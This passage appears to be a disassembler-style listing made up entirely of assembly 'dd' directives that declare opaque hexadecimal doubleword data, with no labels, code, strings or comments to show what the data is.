dd 0A875A225h, 0BD80261Ah, 0CEFB5697h, 8AE9097Bh, 7398AD6Bh
dd 0C2A5BE5h, 0E8EE59E4h, 0DF6B3162h, 49285CF5h, 0C1584A5Ch
dd 0FE0879EAh, 0FE2C0340h, 17A16841h, 40384127h, 0B5315C19h
dd 75FF7CE4h, 250B6A65h, 6981DE5Bh, 4A601CFFh, 9235BA1Dh
dd 85B63200h, 0E701BDF7h, 0E9524D40h, 0A9284F87h, 40888501h
dd 0F8BE75EBh, 0B031A473h, 282F114Dh, 0E7629ADBh, 925FFAB7h
dd 2364555Ah, 82C8712Dh, 7D06E09Ch, 4184E268h, 458169F4h
dd 1E1FBC6h, 49366DC2h, 4F910529h, 5007552h, 0CC3F88CFh
dd 0D90CB42h, 58E31367h, 0C01E0154h, 10D9315h, 0CE3CF9F5h
dd 0B7A8702Dh, 0E70C3D6Bh, 735C960Bh, 0B9501596h, 7795405Fh
dd 0F6A414AEh, 5A2BED9h, 0A36B7F94h, 689FA25Fh, 0C0815484h
dd 629C1DC8h, 2E079298h, 0E95D0E5Ah, 96CE686h, 59EE885Bh
dd 0F1A2A34Ch, 0E852F655h, 0B1572FDAh, 2D3B5D1Ch, 97FC7C84h
dd 0D784F8BCh, 83061371h, 9B95597h, 35C8A2A8h, 0F723025Fh
dd 0DD7A55DEh, 3D6370BDh, 233CF681h, 20318A92h, 4F2BE933h
dd 0E66844C2h, 1F826C0Fh, 0F5863B69h, 0BDAB844Eh, 0B1F5019Fh
dd 4D8DE648h, 58740AF1h, 0E8AFD259h, 420B1076h, 9E5FB05Fh
dd 0BE218F41h, 0A1D0DDFAh, 6C5BA7F8h, 5C96E390h, 0F194E5Eh
dd 6E38D373h, 85B0C501h, 0D1294A95h, 0DA016222h, 1B530C6h
dd 2F2668AAh, 36CE2189h, 410C2CC5h, 5A1E2163h, 81FEB28Eh
dd 69962AAFh, 0DF35DD69h, 7B8AF9BAh, 0EECE5004h, 81EE0953h
dd 2AB0348h, 1C84575Ah, 3A33A1FCh, 5B7AF0E9h, 0AFBD137Bh
dd 0FEFCC461h, 9F7EAC3Fh, 0A12D43D3h, 0DD19AC6Eh, 968AA6D6h
dd 4B7D7824h, 9D1BCD7Fh, 8CCAF68h, 0EF643001h, 25E95640h
dd 0FC5A5D99h, 7EACF08h, 37022E7Ch, 403C7912h, 483AF3DEh
dd 0F7005DC3h, 880C2338h, 0D465CBE9h, 35825A84h, 2C655707h
dd 27DC5916h, 657A8014h, 1E46B980h, 96A24BFBh, 3B9CA14Fh
dd 1ACCDB44h, 4BD5ED4Bh, 2F22FBC2h, 0E9E05D16h, 669FCD8Ch
dd 4B51F277h, 90B93677h, 0A6C02798h, 0CE8131C4h, 50637606h
dd 1F64954Dh, 143155Fh, 0FD045CEEh, 0BE18824Bh, 0C29E99AEh
dd 9C425D95h, 0BBBAEE5Fh, 55A50D72h, 0D4A4389Bh, 3CCE07FFh
dd 0EE946713h, 1D86C31Ch, 0E6B02110h, 0C5E4984h, 530BAACh
dd 2F1FBC7Ah, 2CC14671h, 485F2001h, 0E997816Fh, 0B7127F28h
dd 0EEE3AC4h, 867E832Bh, 4846D6F7h, 101A044Ch, 0BF271D43h
dd 14482FFh, 0C15F047Ch, 6B4E8169h, 42EBD935h, 7AE36833h
dd 0AF9065C6h, 2C78A930h, 131B3BBh, 0E3C151FCh, 0FCEBD108h
dd 999DF9A6h, 0B07876E8h, 6AD2BD02h, 0D4746958h, 3F41402Fh
dd 137E8227h, 0B8505500h, 587F12E7h, 3004179h, 0FAC8FB35h
dd 0F2B589D5h, 15CC9541h, 0DEA23297h, 0BF8139BCh, 0E91E025Fh
dd 2D16746Ch, 0AD55CBBFh, 0D05F51FEh, 0EB66E916h, 26E49D8Dh
dd 6C1ABF0Ah, 7B0B3B79h, 0F7655D20h, 5F945DAFh, 1D7F6801h
dd 4BE93BFEh, 4DDE3BA0h, 0AA4F01B5h, 0C7437B9Dh, 782B7C5Ch
dd 3B2F13F1h, 45400017h, 1302EC7h, 0C9E9CA0Bh, 484425C5h
dd 0E8D19740h, 1E091A2Dh, 0EB292E8Eh, 47FA896h, 4EC24684h
dd 0DCADEA01h, 0C0080665h, 71219FF7h, 0A2573126h, 2751B110h
dd 0F13A902Bh, 6190BC69h, 29275EF6h, 0BC5D77Ch, 98F1E4B1h
dd 0B4504083h, 80FBFEF3h, 29B2ED90h, 0EB70C2EAh, 0EA75E27Ah
dd 49E95870h, 99A82AB3h, 0F83A0B16h, 0AFE9F15Fh, 3431057Eh
dd 58E4C0EFh, 2C27D904h, 0E843D0C4h, 0A1A04BE9h, 5AAD3E92h
dd 68700CE6h, 5DB91DBAh, 0DDA28BADh, 0D6BFE5CEh, 0BCE970F5h
dd 641F87BDh, 928E3237h, 9EAC4285h, 6875E2B0h, 0F0E96416h
dd 55EEE192h, 0B73D28DEh, 52C24661h, 14540FEh, 0D6F63E5Ah
dd 2CFF09B1h, 74F96C0Dh, 9B9662ECh, 6531358h, 0D2E95150h
dd 801E500Dh, 52875DC9h, 0C67036B6h, 7DF088CBh, 62C1285Ah
dd 7671F7A8h, 4AC1A96Fh, 0F63933ECh, 80F4AC50h, 581FE708h
dd 0DB2FF780h, 0C33D1EBBh, 0C2FE47F2h, 0A8A10A3Ah, 20FEF7CAh
dd 0BE5AD73Eh, 8C796CFh, 2FE970F0h, 36BB59DFh, 6D5C21E2h
dd 614A6884h, 678931BEh, 82C56D31h, 77FEEF0Fh, 2F90E5CEh
dd 60A17FA0h, 0AF0AC726h, 389F5F02h, 92F258F5h, 0C201091Eh
dd 47F72A88h, 801248Fh, 8724A0A1h, 775CAA0Bh, 0AB4F9F66h
dd 0E831CBBDh, 2B06E510h, 0EB9356B9h, 0B81624F2h, 78B5E2C2h
dd 5349BD30h, 1FEABB53h, 9148077h, 0B6AD60Dh, 3B9B34A6h
dd 92A5160h, 9F5D8428h, 8105E478h, 322B66F3h, 0E9D91FC0h
dd 0FEDD2DCFh, 9468DC30h, 0FEBF3F70h, 4DE8DA31h, 962721E9h
dd 1CCA5FFFh, 6C4704D7h, 27C4DBBCh, 0FA880560h, 1ED33E81h
dd 0F5F78703h, 452DA93Dh, 0DAC690F2h, 0B0942C16h, 4141BFCBh
dd 0D03B3A21h, 0F4AEEECCh, 56EAEF05h, 0FAB45E58h, 0AA2F280Eh
dd 0C40B4B90h, 162DBF08h, 1A08A62Fh, 6272C1FFh, 7FE38BA4h
dd 405EF861h, 1B5C2FA4h, 388442F3h, 7157BBA9h, 54E961A0h
dd 0FB902A94h, 4E8E716Dh, 290A0724h, 0AFA0BECAh, 593E465Fh
dd 0C0CC0EC1h, 0E22BA643h, 47500469h, 80BE710Ch, 0C26A6516h
dd 62EE8B4Bh, 54A1E7h, 19D6727h, 613E981h, 0EEB8416Bh
dd 0A4E00436h, 69F6B559h, 68CBCF9Dh, 0E3C47D3Eh, 537EFEFAh
dd 52AEF34Bh, 70B88E6Fh, 5F155991h, 15F248A0h, 9FBB5102h
dd 0DFBFBACFh, 514DFFE5h, 0CAF4E904h, 0ED7BD5F7h, 4A606965h
dd 662D402Ch, 0E0AED91h, 0C849367Dh, 80CB5EBCh, 34BEBC0h
dd 0F02D7FACh, 55969AD1h, 5E961E28h, 0F777B4D7h, 0D576C069h
dd 0B9AA8D34h, 4B4657Fh, 0AF7E68E9h, 82E39AF5h, 6993DFD6h
dd 8E805E16h, 401096B6h, 68BF03BBh, 0D117BC1Fh, 60799D2Bh
dd 0CB3E2F05h, 57B1FB6Fh, 0C28E5DFDh, 15EB5B32h, 9C69380h
dd 2D033971h, 66F4462Eh, 6AA6B040h, 0BFA87E73h, 0E5016BD8h
dd 638B2E38h, 1D3BDD87h, 1CB22481h, 7BF9E097h, 731350C0h
dd 89A12F30h, 457D22DDh, 8B686155h, 23C3356Fh, 13DCACDCh
dd 6910D7B8h, 4A8E4DA0h, 0B521B1A4h, 42684001h, 2B995222h
dd 0D65FFAEAh, 7CCCD8F4h, 0FACCE89Fh, 0ED048238h, 52859229h
dd 6725D3FDh, 0E86744E9h, 76F4966Dh, 4D7A69B4h, 0EC396070h
dd 6CC83FDh, 0C9C7B151h, 0F1F11BE1h, 69CEE647h, 0C126288Bh
dd 0CD170700h, 4BF74D36h, 1920C3DDh, 25CAF94Ch, 9FE3F02Fh
dd 8E81A1B9h, 56DD58D2h, 0B7C84EAh, 0E1E05A08h, 0F8BCFCE9h
dd 0E6015426h, 811CEA08h, 56819D4h, 66E942FBh, 2F67C906h
dd 5A900FAAh, 497131E5h, 516239AFh, 0F951FC77h, 71162E76h
dd 4BD31FB7h, 0E9F51CE7h, 573A5846h, 6E87BBA4h, 7CBF0CE2h
dd 2A5251F3h, 0FA803EBDh, 0B970DA4Dh, 9E74C809h, 720FFF1Dh
dd 5834F9A2h, 85F2CDC0h, 258E041Bh, 6E08E8BAh, 9C5F973Dh
dd 58E4B58Ah, 0E2AB682Dh, 4ECD5791h, 20096CAFh, 8924F301h
dd 26426DFAh, 0F9EAA7D0h, 0F152EA75h, 128180FAh, 6634CB2Dh
dd 48C10E4Bh, 75347180h, 0DF7F27FCh, 0B895E15Fh, 0BF011D3Ch
dd 0E8FB8CE1h, 0F655CE29h, 0BAFEC96Bh, 5E9889C9h, 3E552D08h
dd 0E95C5CAAh, 5409407Ah, 4B4D4EB8h, 0AEE64FA1h, 172AB96h
dd 0A055D96Ah, 0C8D8970Dh, 19280C1Ch, 206EEAB0h, 906876E1h
dd 1F1A1853h, 3F21865h, 0A6A170E2h, 0CD3101ABh, 0A410CE32h
dd 442D7F85h, 2DB51BEh
dd 8A402A08h, 0A8546961h, 0A82B010h, 0C174057h, 5717A25Dh
dd 1A5A5164h, 9B3B37B1h, 9CBE4E26h, 512CE98Eh, 0D99A8C79h
dd 9FE8654Ch, 870C8958h, 0A342315Dh, 0BFA00CDAh, 6CEF2A13h
dd 0F50CC0BEh, 1006D544h, 0C67DE993h, 9B56B5E0h, 0E2DBE9D0h
dd 88D995FEh, 36D65B8Fh, 83A50CB9h, 827CCA58h, 2B34915Bh
dd 84A4B7EEh, 47D9232Fh, 0C0FCF2C3h, 4FCF4C28h, 816460FEh
dd 413483EFh, 0A8EB962Dh, 2DEB5AA5h, 55E76EC3h, 84A27D93h
dd 4D4E689Ch, 508822BFh, 12723740h, 0A61AA824h, 1935DA01h
dd 0EBDC4318h, 0C1481749h, 13F2EC32h, 0CA884401h, 61682F58h
dd 2B9705FAh, 83ED758Ah, 93E7DBA7h, 0C1F6B8D2h, 47EB6849h
dd 7EB6307Bh, 272D2C71h, 0EF30FD50h, 53D4858h, 1EEE1286h
dd 84785104h, 5F8AB2EAh, 0D75314EBh, 0C9EABF17h, 1210A4B6h
dd 0ED32D3AFh, 34C731B9h, 4E5CBEBBh, 0FE6A2E76h, 0D7180B2Fh
dd 5742EB65h, 0AB5E5554h, 9D62A850h, 6553C18h, 0C92D482h
dd 0E8D36530h, 48AC5D4Fh, 0A04DB1h, 55B5CB8h, 0C08356D3h
dd 0E924F001h, 43AA1934h, 18BAF785h, 2CDC8626h, 9465E0Eh
dd 0B20192F1h, 66EE43D2h, 5801B86Fh, 4EA80BE7h, 652EAF39h
dd 784958D9h, 26A45DD2h, 80BDB090h, 284CED17h, 12EFF405h
dd 4E0C98EFh, 0BA60117h, 4D997B01h, 0D2206F47h, 206C123Bh
dd 44840110h, 0D80D4F12h, 253914E7h, 3BE90B26h, 6567A229h
dd 0C045770Eh, 885B4124h, 905DC480h, 0E9F20BEEh, 647764F3h
dd 80515F32h, 42016870h, 24BC496h, 0A377BCh, 0F51B9DBFh
dd 5C687B0Bh, 9D7C678h, 1D494F38h, 562601F4h, 8219F825h
dd 61565D8Dh, 4FDCE978h, 1B32BA6Eh, 43D0095Eh, 14920500h
dd 32252E0Fh, 514B3075h, 17BD560Ah, 2DD0F701h, 0F165D8CCh
dd 0EC58126Eh, 31AE5A6Ch, 8B0DB3C3h, 5F72516Fh, 7FFAD719h
dd 3F1393A6h, 0B799BEE8h, 0CC425F3Bh, 4DD4F481h, 0D263D5ECh
dd 0E9535B0Ch, 8D3A2321h, 47A26F1Dh, 0A545E02Ch, 27A7CDD5h
dd 0D74A195Dh, 204AD92Ah, 570BA98Dh, 80D169C7h, 151BC991h
dd 0C0104A2Dh, 2C5040B8h, 0FEBD1790h, 95E906CFh, 0ED5B797Ch
dd 0DC2A8D4h, 9746FBADh, 4E5BEC01h, 197ACEEAh, 0F135E2CAh
dd 0E57C2BD8h, 37CEE0DBh, 4F89970Dh, 944FA5Fh, 0F6712B5h
dd 2397BE80h, 98B81D7Dh, 809B1A2h, 1C681404h, 0CE0A7CCAh
dd 79C7988h, 87EE8852h, 48541B43h, 514FE62h, 49BF155Ch
dd 2820FF4Bh, 0FE7799EFh, 0E190976Bh, 0EA0C6493h, 24FA2994h
dd 693F07C2h, 0CF013A0Fh, 0C008A81Fh, 0F944131Ch, 0E9195D6Dh
dd 87622173h, 1778806Fh, 0AA287CD3h, 2620EB57h, 0AF57979Ah
dd 0EDA9446Eh, 938DEB5h, 0D3067105h, 1D080077h, 1426A28h
dd 0A897E988h, 44840C2h, 0AAF6962Dh, 4C7FBCAh, 980FC1Bh
dd 54DCF189h, 0FDA38E2h, 87E2AFF2h, 383E982h, 0FCAD1BFCh
dd 8750ADABh, 9F934820h, 51B75058h, 0B9B4C31Ah, 0CEFE5E4Bh
dd 0D2B35FD4h, 70927951h, 0C79C425Dh, 0E85F0558h, 0B2F8297Bh
dd 9C7EBD44h, 10D8EBBh, 48DED520h, 0D4F513ADh, 57B2AE09h
dd 0F06B9759h, 92F52F22h, 0A88475C6h, 89B810D1h, 6735F5Dh
dd 59216861h, 26B6E76Ch, 0D152DD0Bh, 862D775h, 190B080Ah
dd 3B2DF920h, 0B05B44BCh, 0D55E3220h, 16EC14E0h, 0F8703917h
dd 839E1018h, 0BEE85070h, 9F769733h, 21C275C8h, 0B39CC5E8h
dd 0FD02A586h, 167D28F2h, 0A2F6147h, 0B8D02A79h, 0F8913413h
dd 0A1A897E6h, 488C6DB3h, 0FA220C0Ch, 0D4B7EE4Bh, 0BF581333h
dd 0F797AC03h, 84C89CD7h, 0F86A4A31h, 0B625A157h, 103DB32Ah
dd 0EF4B01DEh, 0C913659Eh, 1290BDC0h, 14884D82h, 565A2559h
dd 579DCC52h, 4489A288h, 0E1E3A44Ch, 0BD61D10Fh, 0B8456513h
dd 0AEFD640Ch, 65D89DBEh, 0A170B520h, 912B5291h, 80E1D920h
dd 0B05CB57Fh, 0BFE82845h, 413E878h, 0EB372Ch, 44B6521Eh
dd 0AC73C680h, 0E9F1F602h, 0B9FEDE17h, 1BC568BFh, 0A4D3DB88h
dd 176FB40Eh, 9D1073BCh, 0E4680905h, 62F0F477h, 3B576253h
dd 1B3D2F4h, 38C8015Ch, 45BCB53Ah, 0E110FEC9h, 0FC8BB7D3h
dd 0FB3A99FFh, 627A64BAh, 3177622Dh, 0C83A4909h, 2B812C38h
dd 0A3D24928h, 0C4FE96EDh, 338E812Bh, 0AF8404B2h, 5454F8AFh
dd 28FE5274h, 0C31FCD61h, 0AFC1440h, 6AC1E52Dh, 2A88DDFAh
dd 18C82607h, 6866C8F0h, 0A2211824h, 0DAEBEE17h, 30EB4A09h
dd 3E08E903h, 0A9A83195h, 0D099C62Bh, 6228D9B5h, 9B527AE9h
dd 0EC4F9990h, 27E89285h, 0D75BD2B6h, 8EB12012h, 6656D82Ah
dd 2F421A41h, 0A38461F0h, 8776800h, 394E1697h, 246344E9h
dd 65B94095h, 0DF5EACD8h, 0CCDE121Ch, 0CA3C0CF3h, 8C86C0F4h
dd 0DF2980E7h, 77C0AEC9h, 130C5CC7h, 0FF51DE8h, 4676583Ah
dd 0A204CB64h, 0D45531B8h, 0F597C11Eh, 9271F2F7h, 20F63105h
dd 0E2D6FCF9h, 5BDC42Fh, 53505100h, 60DFA1B7h, 6800F4D0h
dd 70495999h, 0DB12F75Bh, 520BEBC1h, 25DE7C4Ah, 9C1D95D7h
dd 6D0794E9h, 56DB9007h, 6C3DB2D6h, 0FE50535Eh, 74A0B5CAh
dd 145B0816h, 11E1404Ah, 0BF35852Fh, 0A84ECFE3h, 826AB165h
dd 561E9C26h, 0C25ED754h, 53F55FC1h, 922C147Fh, 0E2E96181h
dd 1229BB19h, 2F3379DFh, 0D96CF956h, 0F01886BFh, 1C870AB5h
dd 0E904F4BDh, 553099DFh, 0AEB18088h, 0EDB15E17h, 7932E280h
dd 622549CBh, 0BF1B2E2Eh, 7F6A2A0Bh, 64755098h, 2FEBBA80h
dd 0A8C8A20Ch, 43BAC131h, 71FC981h, 0F497A556h, 0A950A4A0h
dd 0BB2A50C1h, 80338638h, 0FA5A4EE9h, 0E3C52490h, 40E12D0Dh
dd 86988D5h, 0D5F75F04h, 3CD1A780h, 0E605481Dh, 29A97E2Dh
dd 4CAB70D7h, 0BF4B3458h, 0FA0187C1h, 9D2A142h, 5545C855h
dd 5E680253h, 5B427C2Ah, 8376DE5Fh, 7A720DB4h, 73431EF9h
dd 964E580Ah, 0A94C70E8h, 47C6EA2Dh, 0F29C74BFh, 7542BB56h
dd 0D8BFDE6Eh, 5E81CF62h, 5ADEAED9h, 0E2594E24h, 1ABD9497h
dd 433186ABh, 92792E1h, 5D524C76h, 0CB42335Ch, 0B88980B4h
dd 9678DBh, 8354841h, 314060A7h, 0E9A4C250h, 0FD49D20Bh
dd 0B2ED036Dh, 0F04AEA2Dh, 846FD13h, 4014821Ch, 80C9BEF8h
dd 250CBB53h, 0BA333E7Fh, 654F1376h, 0E3F50147h, 2B5BB917h
dd 118B5BEEh, 7304767Eh, 4353C756h, 7F2002C6h, 0AD7C27E8h
dd 0D2F88043h, 50970162h, 49F702E9h, 74E977D9h, 0EB1F725Ah
dd 4F56DFFBh, 821944AFh, 5D1616F1h, 0CB843EF9h, 0AEE809E1h
dd 58AE00C1h, 0BBD292h, 891AEFE4h, 0A831D98Dh, 665A0601h
dd 0D076D681h, 73D8833Fh, 3DB83437h, 68B0F01h, 9D8D0DBAh
dd 303A33EDh, 3EC01039h, 59FE53C6h, 68ADFE89h, 0A91E2Bh
dd 7FD67DCAh, 0D30B58Bh, 36F11926h, 5E823061h, 0CE3C2724h
dd 0C0532B25h, 0D020C0Dh, 2E118529h, 0C3E6830h, 134D8D31h
dd 0FCF81881h, 850FE48Ch, 8938E9BDh, 0C015C1D8h, 2363F024h
dd 72E2DBF5h, 6E12AB00h, 8C19AF7Ah, 87840058h, 28F28F47h
dd 0B3017D5Fh, 805A620Bh, 46F03F2Dh, 161B0DBh, 55670FAEh
dd 8A476F51h, 422DA51h, 0D2CA18FCh, 9F8310A2h, 0E508B600h
dd 0DCC8BBC1h, 758B00DAh, 0CA2D0557h, 2462C54Dh, 24B82F28h
dd 552221A7h, 60106112h, 89389BEh, 855344A1h, 0BB012284h
dd 0E0D77F45h, 0F64BB5h, 22FF020Fh, 512DD85Dh, 0DE28F100h
dd 9177BB81h, 0D1EA00CBh, 1CCF4741h, 70FE72B6h, 0EEA9E400h
dd 7ED8D3BEh, 0F4461FF8h
dd 0DCDD00DAh, 28E16C08h, 88B08E00h, 0FEA6C4B9h, 7BE008Fh
dd 0BFA8137Fh, 0DD00F751h, 68D6735Ah, 0EEA2936Bh, 43A500AAh
dd 2BDA9E12h, 83E1375h, 8A828022h, 31716251h, 3F7C23h
dd 3B75B0D8h, 0BE65010Ch, 4EA89200h, 7007F449h, 0B5020755h
dd 408F5393h, 46034859h, 35BC8802h, 40B19FD4h, 1998D9Dh
dd 31A6B6A9h, 0FC59EB96h, 0CF7A5D54h, 2D00E27Fh, 76CA754Dh
dd 1E47A6DEh, 0E8211C6Fh, 7FD300ECh, 2389589Fh, 7601A5B1h
dd 24374062h, 9560100Eh, 16DD09C1h, 3E00CCEFh, 0F31B285Ah
dd 240094FCh, 0F2C6C0ADh, 0BCAF7Ch, 9D0D979Ch, 6F10E949h
dd 0D848E418h, 242F860h, 4E5227E2h, 88879158h, 0DDB14036h
dd 0FEFC624Ah, 40030927h, 7113B41Eh, 9A9103DCh, 0B3ABF938h
dd 92792A0h, 0A366000h, 185640E5h, 0D47C5Ch, 0A20EEA7Ch
dd 526295B0h, 3F1C5300h, 200B69E4h, 0F69001E1h, 0CEDBD0A4h
dd 5B6020A0h, 0E8B3F200h, 0AEE41FB0h, 1E183901h, 4E7CCB80h
dd 78B81BD0h, 850ADE1Ch, 16D1AD80h, 1D403Ah, 6F8F6AC3h
dd 0BADC9CF9h, 0ABB9A402h, 0E091D41Ah, 1A6E20Ch, 1775DA0Eh
dd 0F4D75674h, 6C4C0F2Eh, 58350014h, 2CD61A59h, 5B1E01A3h
dd 784039F8h, 979895DBh, 0D54C98h, 709254CDh, 401F2D6h
dd 12DD8B3Ah, 0C2DCC008h, 1E047CD3h, 3991AF9h, 0AD737F80h
dd 544E006Dh, 8C36451Fh, 170EFB31h, 6F55D9A2h, 3CE12032h
dd 4894C39Eh, 0AA014060h, 0FA778D1Fh, 4C04702Fh, 478A7E0Eh
dd 0E41C40D5h, 910993h, 7B10DAFEh, 0BDFAE5F5h, 0BC90AA3Dh
dd 0E76F01EFh, 9E7ACC82h, 0FED01434h, 0ECF200EEh, 0F7555289h
dd 0BA061B51h, 0B8F864A2h, 6D6300E1h, 0B7BF2394h, 59008BB1h
dd 6F4F94Fh, 92EDCDBh, 275DF771h, 70E13007h, 44030E79h
dd 36A62F1Fh, 54533EC0h, 3CFD19FEh, 0D5000780h, 0E39F0976h
dd 3C003992h, 75BC2BF4h, 0ACA310h, 0E315F04h, 0DBA17F77h
dd 0CBA54B00h, 0E776A969h, 8A033912h, 0C75E3500h, 0D14A41D6h
dd 43D02760h, 0E86EEFh, 753E1438h, 0C7D0CEE6h, 0E07AD400h
dd 0AC308457h, 585F00A6h, 0DCCA9FD7h, 7E0083E7h, 703DB403h
dd 28C41FAh, 270F2D1Fh, 904B2CDDh, 5834C9h, 0BDE17h, 0F926B690h
dd 1D6A8C6Ch, 78A0AB00h, 0BB99C4EBh, 0B8E400D8h, 0AE0D258Ah
dd 0F01C9D0h, 1864EA2h, 4030BCCAh, 1C6E081h, 0A1D9D438h
dd 0C4DAF3FEh, 0D00C1F6h, 8E70C8DCh, 52D15841h, 0A800C4B3h
dd 0AAEB9CCFh, 0F5009095h, 0FC7D0145h, 94ADCDAh, 0D7A412A6h
dd 0CA6A0000h, 0B803191Bh, 0DFA1B5E3h, 336DE0EAh, 0A89F500Dh
dd 880C006Ah, 0D03B678Ch, 0EFA015C8h, 0A80066CFh, 5DC77277h
dd 1DE4E0D7h, 3CF817C3h, 4DEC5B80h, 0E35BE36h, 82125438h
dd 0B6773A65h, 0D3CC1F3h, 0CF44D0h, 2F57BC63h, 49AA5CFEh
dd 0A1F72B03h, 0F0057AF1h, 0CD6DD08h, 0C78F3830h, 0F7027DB0h
dd 0EB49564Eh, 0C0074201h, 43756Dh, 0BD5D1ED6h, 57563B71h
dd 0CA81CE00h, 3D473CCFh, 0EFC8F7C0h, 0BCD00041h, 1D7C344Dh
dd 0B2F2DBCAh, 0E9E49E02h, 60B154DDh, 0B80364C4h, 1311003Ah
dd 14AFB93Ah, 25007F56h, 0A6451651h, 5CB17517h, 0B006CD8h
dd 5CBE7AF3h, 0CD00AC82h, 0C8C455ADh, 90DA6DFh, 2A155E2Eh
dd 40873C07h, 5875A4B2h, 22314200h, 187B0C16h, 0BDC1FBAh
dd 62F142C8h, 0C8669B93h, 0CCFAAF00h, 0BDAC81F8h, 9AD00086h
dd 67F35020h, 3C904771h, 14C05B01h, 0ADCB3F15h, 0C857A053h
dd 0E7854Ah, 4180A188h, 0CB082C39h, 0B273C412h, 8B4F201Ch
dd 0A7FE809Ch, 60E018h, 87A30394h, 3D8EBD86h, 80C3573Dh
dd 72914752h, 0CC0EEBh, 6DA613A8h, 0F7E12FBBh, 8185AC3Fh
dd 0D5C29EF6h, 1C30DC26h, 0FB2A00B3h, 2C6608AFh, 5075D936h
dd 8523C90Eh, 0F073E095h, 262E6C1h, 397443CDh, 9DE06ECFh
dd 0D724A5BBh, 64013457h, 0F3019CA2h, 98901CD0h, 405A7AC8h
dd 6D0038D6h, 6B604ED2h, 71DD45h, 0A37CB4CCh, 829A08FCh
dd 0A4908370h, 3069F808h, 987800F7h, 0CA9BC121h, 0F2952C00h
dd 0DD2B7A0Ah, 0B0F6484Eh, 7FF44C00h, 6FE413AEh, 0DB341B00h
dd 7FBA428h, 0A74000B8h, 0BFF27454h, 5E00CC89h, 0F6712406h
dd 0A88FA2h, 622AD46Eh, 3DFCD9F8h, 94A37E01h, 0DFBF1778h
dd 1512C4h, 0AE86E4B2h, 0B862474Ch, 94B5F200h, 0DAAC6B32h
dd 7CF40542h, 901BB384h, 0F09B4918h, 0E63B5600h, 226C99B6h
dd 5BA900AEh, 0F1E2172Ah, 0D00021B5h, 9402967Bh, 10DB36h
dd 0C3ABFA7Ah, 0B32DC205h, 0D0098407h, 0AEA0370Ch, 4DE37Bh
dd 0A9419C0h, 0C23217E7h, 8B347302h, 40871149h, 43BE2Bh
dd 0ED8E4E92h, 0FDC22957h, 8F45E403h, 0F013DF81h, 0A7D86Ch
dd 0C6607D2Eh, 0EB63FC0Fh, 0B8F9FA01h, 0F4C91C34h, 90DD32F8h
dd 26AF000Ch, 9FCABE7h, 0CD000318h, 1FCC4A44h, 0B8DD79B1h
dd 0F2AD0032h, 783FD19Eh, 7213CB35h, 0F4608985h, 3A60A668h
dd 0E012EF0Eh, 160C0F95h, 11022240h, 0AD2CDD35h, 8185E077h
dd 6D80DA2Fh, 75436846h, 1AD2009Fh, 350177B7h, 0C000471Dh
dd 0CE117413h, 7B22DAE8h, 3850735Ah, 83000662h, 71EBC035h
dd 0DB0024CBh, 8E739AE0h, 0F224813h, 0C6CDD1E4h, 52E18482h
dd 0BCB2F446h, 0E2D10B00h, 3F2947D3h, 0AE0500F1h, 3EC8B4CDh
dd 1C7D7E08h, 0ADB7A305h, 0A4C02A3Ch, 71B10Fh, 4A063D17h
dd 651E79E1h, 3F00777Fh, 265AEC5Fh, 1EE43B0h, 0D8AE5867h
dd 0C8DBC5F2h, 4507B2C0h, 0E45CCC54h, 10E65900h, 467201D2h
dd 0E206045Dh, 7AAC4817h, 87ECC02h, 617F8E40h, 0F3C49408h
dd 0C76B07E0h, 905856D1h, 0A6554C67h, 37029C00h, 384713D4h
dd 218A1F7Fh, 9AB4C0F0h, 30855483h, 31D9EFCh, 0A3004AE2h
dd 0B8C06345h, 0F4E700CEh, 23A4F3D6h, 0D4008E7Eh, 0E0C2F174h
dd 1493CB58h, 908A99DCh, 0D520AB01h, 0C4AE9DF3h, 0B00056Fh
dd 0F5523D42h, 7F3F807Ch, 0E31E0056h, 6B37172Fh, 6C784B36h
dd 0B006E201h, 381A2E5Dh, 1FB30AD0h, 0C1C110D7h, 390F99EAh
dd 0E802CB9Fh, 9DEE26C5h, 80B08307h, 904F891Ch, 9E68ECh
dd 46B9F9C0h, 5153C510h, 0ABC8951Fh, 214C4940h, 0DAA3FAh
dd 0F1CEA058h, 6B3374DFh, 69A53000h, 8B7F24D4h, 0D770002Eh
dd 0FD654B56h, 70E8E8Dh, 0E3449D32h, 0F096BF50h, 646E0CBh
dd 0CE4E3CA9h, 0BA0021C4h, 945C020Fh, 0B47740h, 0E607915Eh
dd 3E8805FDh, 3B113D5Ch, 3800799Fh, 4DAB8172h, 0EECF13D0h
dd 0CEF819h, 0E85E2A4Ch, 0E085B587h, 80BB663Bh, 0A678EB80h
dd 90F9C543h, 0BDE60713h, 60643E7Dh, 0F84F4A1Fh, 8FF09C00h
dd 7B42882Bh, 56E706CBh, 587438BAh, 0E6ACB900h, 8224046Fh
dd 1226008Eh, 0EC0DEAE9h, 5D001D74h, 53332A3Dh, 9AD542h
dd 0D2E99454h, 83359BCCh, 61F8A00h, 0EB3897F0h, 0B8CD07C9h
dd 230854E4h, 33A0ECD7h, 0B3021565h, 76ED4449h, 0A4503Eh
dd 563A91C0h, 0C32E08Bh, 0F1EFCB00h, 7E870B9h, 0C6D11202h
dd 8EB09081h, 0AD0105CEh, 0AEAA13F5h, 16F46BE1h, 1A0B089h
dd 463BB009h, 201D54E3h, 97007E6Fh, 2683732h, 240EA03Ch
dd 0FCE667h, 0F871F059h, 0A0C2216h, 909FA673h, 4E12FADBh
dd 6CA400EEh, 6B7E7F3Fh, 8A19D773h, 6AB80FCAh, 373109Fh
dd 0EDE45D08h, 0F0703100h, 47E6AD9Dh, 0B6AC3A77h, 0EE0F5C00h
dd 3A46A750h, 5470FB00h, 0ED1EA151h, 8A890018h, 0C7665AF0h
dd 470E6A27h
dd 94EEA37Fh, 8B770548h, 3C407E09h, 23E3ADB5h, 148E3D5Fh
dd 0A473088Ah, 0E85B0018h, 468762EDh, 8DDA591Dh, 0DF68123Dh
dd 0B909487h, 3FD90961h, 0C680C822h, 0E1FCB0EEh, 0AA043A67h
dd 0E6ECD135h, 2AD2ECC0h, 0B10C0308h, 513B9A42h, 7FEB5EF0h
dd 727BE3Eh, 31E3FBA3h, 5FBF1CF0h, 7A5E0A8h, 0B620AD67h
dd 0F4BA60ABh, 45009926h, 70B4892Bh, 7A9905Dh, 0E5723723h
dd 99B2C068h, 0ED097B5Fh, 0E028F082h, 7AA7A84h, 0CAAE4837h
dd 0A6A781ECh, 739717EFh, 40711F98h, 0A82BB4A2h, 4B89EAA7h
dd 600C60FCh, 1D7511BFh, 6E20358Ch, 0AB38C1E3h, 8047CB6Ch
dd 56995B49h, 0A8A364E5h, 185344A4h, 11AEF0AFh, 0BF08655Ah
dd 2B1DCAh, 25B290DAh, 608429C2h, 0E44248F2h, 5A88AD64h
